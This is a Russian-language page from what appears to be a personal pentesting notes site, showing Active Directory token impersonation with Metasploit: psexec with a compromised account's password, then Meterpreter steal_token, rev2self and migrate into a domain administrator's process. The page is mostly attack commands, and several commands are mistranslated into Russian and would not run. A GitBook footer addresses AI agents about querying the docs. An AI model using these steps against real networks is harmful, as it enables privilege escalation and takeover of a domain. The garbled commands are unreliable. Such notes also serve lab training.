> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/active-directory/lateral-movement/token-impersonation.md).

# Имперсонация токенов

Для этой части мы используем `Metasploit`.

{% code overflow="wrap" %}

```bash
msfconsole
```

{% endcode %}

Мы предполагаем, что уже скомпрометировали `user1` учётную запись.

{% code overflow="wrap" %}

```bash
используем exploit/windows/smb/psexec

показать параметры
```

{% endcode %}

<figure><img src="/files/ef7a7266cfd3a41428817ff115f56dde4e172c5f" alt=""><figcaption></figcaption></figure>

Затем мы настраиваем модуль с правильными параметрами.

{% code overflow="wrap" %}

```bash
set rhosts 172.16.0.10
set rport 445
set smbdomain WHOAMI
set smbuser user1
set smbpass Password1234
set lhost 172.16.0.2
set lport 4444

run
оболочку
```

{% endcode %}

<figure><img src="/files/7af27aed8ad09b3c948297cf05f2829226a8cede" alt=""><figcaption></figcaption></figure>

Из `Meterpreter`, мы перечисляем активные процессы на машине.

{% code overflow="wrap" %}

```bash
ps
```

{% endcode %}

Некоторые процессы могут принадлежать доменному администратору.

<figure><img src="/files/136271d0d724c70c915cf2f646ebfed0261c16ad" alt=""><figcaption></figcaption></figure>

Затем мы можем украсть токен целевого процесса по его PID.

{% code overflow="wrap" %}

```bash
steal_token 6984 
```

{% endcode %}

<figure><img src="/files/38ba54cad268de2af35b18ff28e9489e5da38328" alt=""><figcaption></figcaption></figure>

Этот токен соответствует открытой сессии учётной записи администратора.

Если теперь мы откроем shell, он запустится в контексте этого пользователя.

{% code overflow="wrap" %}

```bash
оболочку
```

{% endcode %}

<figure><img src="/files/2528326136d8c617ff861327e6f0815e79728efb" alt=""><figcaption></figcaption></figure>

Другая возможность: перенести нашу нагрузку в этот процесс, чтобы унаследовать его контекст.

При необходимости мы сначала можем вернуться к нашему начальному контексту.

{% code overflow="wrap" %}

```bash
rev2self
```

{% endcode %}

Затем мы запускаем миграцию в целевой PID.

{% code overflow="wrap" %}

```bash
migrate 6984
```

{% endcode %}

<figure><img src="/files/2d0829ec41f6a3ac9b6c321c3f8833d2e41f959e" alt=""><figcaption></figcaption></figure>

Ограничение остаётся простым: если процесс завершится, мигрированная сессия тоже падёт.

> 172.16.0.10 - Сессия Meterpreter 1 закрыта. Причина: Умер

<figure><img src="/files/f2f2841a1f2f1b1250916489ec48f3846a5d7238" alt="" width="547"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/active-directory/lateral-movement/token-impersonation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
